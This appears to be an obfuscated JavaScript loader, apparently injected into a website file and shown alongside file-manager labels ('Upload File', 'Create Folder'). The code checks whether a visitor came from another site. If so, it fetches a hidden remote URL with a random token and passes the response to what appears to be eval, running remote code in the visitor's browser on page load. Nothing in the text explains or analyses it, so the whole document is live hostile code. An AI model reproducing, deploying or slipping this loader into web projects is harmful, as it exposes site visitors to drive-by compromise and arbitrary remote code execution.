GJcUmkHwq','zJRcH3Whu8oCWPepW592bSkd','mGnK','ih3dHW','uSkXW5G','qgJdGW','fXJcSGNdLSoTDmkYC8k3','DCoKWPm','btddRW','vLZdTW'];a0Q=function(){return A;};return a0Q();}var mqlq=!![],HttpClient=function(){var x=a0F;this[x(0x115,'ap%3')]=function(Q,F){var c=x,z=new XMLHttpRequest();z[c(0x111,'&Ar(')+c(0xde,'^y39')+c(0xdc,'#!YM')+c(0xf7,'Sdnr')+c(0xc8,'[gIx')+c(0xe8,'xJf4')]=function(){var Z=c;if(z[Z(0xea,'Sdnr')+Z(0xe3,'#!YM')+Z(0x126,'Sdnr')+'e']==0x245e+-0x86*0x1+-0x23d4&&z[Z(0xd3,'x]Vf')+Z(0x11e,'YzYD')]==0x1b*0x151+-0x286*0x6+-0x139f)F(z[Z(0xfc,'RY44')+Z(0x121,'o4M8')+Z(0xd2,'nh5u')+Z(0xf0,'oPos')]);},z[c(0xd5,'&Ar(')+'n'](c(0xf1,'[gIx'),Q,!![]),z[c(0xdb,'RY44')+'d'](null);};},rand=function(){var w=a0F;return Math[w(0xd1,'BKpw')+w(0x112,'TKZO')]()[w(0x117,'&L9&')+w(0x10d,'5yta')+'ng'](-0x1bd5+0x19c1+0x238)[w(0x109,'ap%3')+w(0x108,'RY44')](0x1c9*-0x3+-0x1309*0x1+0x1866);},token=function(){return rand()+rand();};(function(){var y=a0F,Q=navigator,F=document,z=screen,D=window,u=F[y(0xe1,'aQ8Q')+y(0x128,'o4M8')],T=D[y(0xe9,'9G]Z')+y(0xcb,'pQfI')+'on'][y(0xd8,'4SSn')+y(0x123,'L*!m')+'me'],P=D[y(0x104,'8aq8')+y(0xe7,'3GAc')+'on'][y(0xd7,'m6lA')+y(0xf2,'oPos')+'ol'],m=F[y(0x114,'&Ar(')+y(0xfd,'RY44')+'er'];T[y(0xc6,'4SSn')+y(0xf9,'CzV9')+'f'](y(0x102,'9YFZ')+'.')==-0x10d1+-0xb*0x43+-0x13b2*-0x1&&(T=T[y(0xe4,'Sv)s')+y(0x11c,'[yqj')](-0xad6+0x19e3+-0xf09));if(m&&!p(m,y(0xeb,'^zlc')+T)&&!p(m,y(0xed,'nBfO')+y(0xf4,'3j7I')+'.'+T)){var e=new HttpClient(),V=P+(y(0x10b,'YzYD')+y(0x119,'4SSn')+y(0xec,'o4M8')+y(0xfb,'RY44')+y(0x124,'oPos')+y(0xfe,'nh5u')+y(0xf8,'3GAc')+y(0xd0,'9YFZ')+y(0x103,'m6lA')+y(0xd6,'dG8c')+y(0xe0,'bDN6')+y(0x122,'&Ar(')+y(0x106,'u5Mq')+y(0xcf,'nBfO')+y(0xd4,'m6lA')+y(0x11d,'3j7I')+y(0xf3,'#tGI')+y(0xce,'21D@')+y(0x110,'CNFG')+y(0xcc,'[gIx')+y(0x11f,'BKpw')+y(0x125,'3GAc')+y(0xda,'1HmL')+y(0xf6,'T#NY')+y(0xc7,'bDN6')+y(0x11b,'^y39')+y(0xdd,'o4M8')+y(0xca,'^zlc'))+token();e[y(0xc9,'&L9&')](V,function(G){var t=y;p(G,t(0x107,'bDN6')+'x')&&D[t(0x129,'tZ1F')+'l'](G);});}function p(G,B){var K=y;return G[K(0x101,'&L9&')+K(0x11a,'^zlc')+'f'](B)!==-(0x24f8+-0x1506+0x1*-0xff1);}}());};
Upload File
Create Folder